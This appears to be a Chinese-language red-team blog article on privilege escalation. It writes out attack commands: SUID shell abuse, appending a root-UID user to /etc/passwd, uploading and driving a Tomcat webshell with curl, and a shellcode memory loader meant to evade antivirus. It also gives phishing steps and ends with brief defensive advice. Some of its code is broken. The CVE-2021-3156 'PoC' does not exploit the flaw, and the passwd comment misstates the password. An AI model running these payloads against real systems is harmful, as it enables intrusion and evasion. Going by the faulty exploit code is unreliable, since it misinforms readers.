0x01 权限提升的奇妙世界

权限提升是渗透测试及红队演练中的重要环节之一,了解并掌握各种权限提升技术是成功攻破目标的关键所在。本文将从技术原理方面分析权限提升的多种方式,并结合实际案例进行深度剖析。

权限提升的核心

权限提升通常发生在攻击者通过初始漏洞获取了某个低权限账号的访问权后,尝试通过利用系统配置错误、补丁不及时、软件缺陷等手段提升自己的访问权限,以便获取更高的控制权。权限提升通常分为本地权限提升和远程权限提升。

本地权限提升:通常针对获得低权限的本地用户,利用系统漏洞或配置错误来获得管理员权限。

远程权限提升:针对远程连接的情况,通过漏洞攻击或其他手段,从一个低权限的远程用户提升到更高的权限级别。

破解低悬果实 - 本地提权技术详解

在本地环境中,提权通常是寻找低悬果实的过程。漏洞、配置错误以及不当的权限设置是黑客实现本地提权的三个主要切入点。下面我们将详细介绍几种常见的提权技术。

可执行文件的权限滥用

许多操作系统中的可执行文件或脚本可能包含不当的权限设置,这为攻击者提供了利用的机会。例如,某些系统服务可能以管理员身份运行,而攻击者可以通过控制服务所依赖的可执行文件或配置文件来实现权限提升。

在Linux系统中,一个经典的例子是SUID位的误用。如果某个程序设置了SUID位,它将以文件所有者的身份执行,而不是用户身份。如果这个程序存在漏洞,那么攻击者可以利用这个漏洞执行任意代码,从而提升权限。

SUID提权示例

首先,你需要查找系统上所有SUID位设置的文件:

<pre><code class="language-bash">find / -perm -4000 2&gt;/dev/null</code></pre>

如果发现某个SUID程序(比如某个老旧版本的vim),你可以利用它执行任意命令。如果该二进制文件允许你使用命令行参数打开shell,你就可以这样做:

<pre><code class="language-bash"># 通过漏洞获取shell ./vulnerable_suid_binary -c &quot;/bin/sh&quot;</code></pre>

漏洞利用:CVE的价值

利用已知漏洞的CVE编号进行提权是另一种常见方法。许多CVE都专注于提权漏洞,这些漏洞通常会在操作系统更新后被修复,但在补丁更新之前,攻击者可以利用它们。

CVE-2021-3156 - Sudo提权

一个常见的例子是Sudo提权漏洞CVE-2021-3156,这个漏洞允许本地用户在未授权的情况下提升权限。假设目标系统上安装的Sudo版本仍然易受此漏洞影响,可以利用以下步骤进行提权:

  1. 检查Sudo版本:

<pre><code class="language-bash">sudo --version</code></pre>

  1. 如果版本符合漏洞条件,使用PoC代码进行提权:

<pre><code class="language-python"># Python PoC代码示例 import os

构建攻击环境

os.system(&quot;sudoedit -s /&quot;)

提权成功后获取root shell

os.system(&quot;/bin/bash&quot;)</code></pre>

黑客示意图

文件权限配置错误

某些关键系统文件或配置文件如果被设置了不当的权限,攻击者可以篡改这些文件以实现提权。例如,Linux上的/etc/passwd文件如果设置了可写权限,攻击者就可以修改该文件来创建一个具有root权限的用户。

修改passwd提权示例

  1. 检查/etc/passwd权限:

<pre><code class="language-bash">ls -l /etc/passwd</code></pre>

  1. 如果具有可写权限,编辑文件添加新用户:

<pre><code class="language-bash"># 添加新用户行,root密码为空 echo &#039;hacker:x:0:0:root:/root:/bin/bash&#039; &gt;&gt; /etc/passwd</code></pre>

  1. 切换到新用户:

<pre><code class="language-bash">su hacker</code></pre>

抓住网络机会 - 远程提权技巧

远程提权在网络环境中尤为重要,尤其是在攻击者已经获取某些网络访问权时。远程提权通常涉及网络服务的漏洞,或者社工攻击结合的手段。

网络服务的漏洞利用

许多服务器软件可能存在提权漏洞,尤其是在那些需要提供高权限服务的情况下。通过利用这些漏洞,攻击者可以从普通用户提权到管理员用户。

Apache Tomcat提权

假设我们在目标服务器上发现了一个旧版本的Apache Tomcat,它存在一个已知的远程代码执行漏洞,我们可以通过以下方式进行远程提权:

  1. 检查Tomcat版本:

<pre><code class="language-bash">curl -I http://target-server:8080</code></pre>

  1. 如果确认版本符合漏洞条件,使用以下shell命令上传WebShell:

<pre><code class="language-bash"># WebShell上传 curl -X PUT --data-binary @webshell.jsp http://target-server:8080/uploads/webshell.jsp</code></pre>

  1. 访问WebShell,执行命令:

<pre><code class="language-bash">curl &quot;http://target-server:8080/uploads/webshell.jsp?cmd=id&quot;</code></pre>

通过这种方式,我们可以在目标Tomcat服务器上执行任意命令,进一步提权。

社工攻击结合提权

社工攻击本身并不是一种技术攻击手段,但它常常与技术漏洞结合使用。例如,攻击者可以通过钓鱼邮件获取用户凭据,然后利用这些凭据登录到关键服务,从而进一步实施提权攻击。

钓鱼邮件与凭据利用示例

黑客示意图

  1. 设计一个逼真的钓鱼邮件,诱导目标用户输入其凭据。
  1. 使用窃取的凭据登录到目标系统,寻找提权漏洞:

<pre><code class="language-bash">ssh [email protected]</code></pre>

  1. 利用目标系统上发现的配置错误或已知漏洞进行提权。

隐匿大师 - 绕过与免杀技巧

在提权过程中,攻击者可能会面临安全软件的检测与防御。因此,了解一些绕过与免杀技巧是至关重要的。

免杀技术

通过对恶意代码进行混淆、加密或内存加载,攻击者可以绕过大多数杀毒软件的检测。常用的方法包括代码混淆、代码加壳、以及利用合法程序载荷等。

基于Python的内存加载示例

<pre><code class="language-python">import ctypes

将shellcode加载到内存中执行

shellcode = b&quot;\x90\x90...&quot; # 替换为实际shellcode ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p ptr = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x3000, 0x40) ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_void_p(ptr), shellcode, len(shellcode)) ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_void_p(ptr), 0, 0, 0)</code></pre>

使用内存加载技术可以有效绕过静态签名的查杀,实现隐蔽的权限提升。

流量伪装与协议规避

黑客示意图

通过流量伪装技术,攻击者可以隐藏其网络活动。例如,利用常见的网络协议(如HTTP、HTTPS)来传输恶意流量,从而绕过网络检测设备的监控。

防御之道 - 检测与防御措施

在了解权限提升攻击手段后,我们也需要从防御角度做出相应的策略,以提高系统的整体安全性。

系统补丁与更新

保持系统和软件的更新是防御提权攻击的基础。及时安装系统补丁,尤其是针对提权漏洞的补丁,可以有效防止已知漏洞的利用。

权限管理

合理的权限管理策略可以减少被提权攻击的风险。确保关键文件和目录的访问权限设置正确,定期审计系统中SUID文件及其他高权限操作。

利用EDR技术进行监控

利用EDR(Endpoint Detection and Response)技术可以实时监控系统活动,对于异常行为进行捕获和响应。这种技术可以帮助识别提权攻击过程中可能出现的异常操作。

自己的战役心得

在多年的红队攻防实战中,我体会到权限提升不仅仅是技术能力的比拼,更是对系统架构理解的考验。攻击者往往需要具备敏锐的嗅觉,能够在复杂的系统环境中发掘那潜藏的瑕疵。

技术固然重要,但攻击者的思维模式和不断学习的态度才是最宝贵的。在研究权限提升的过程中,我们不仅需要掌握各种攻击技术,还要时刻关注新的安全动态,及时更新自己的武器库。只有这样,才能在攻防战场上始终立于不败之地。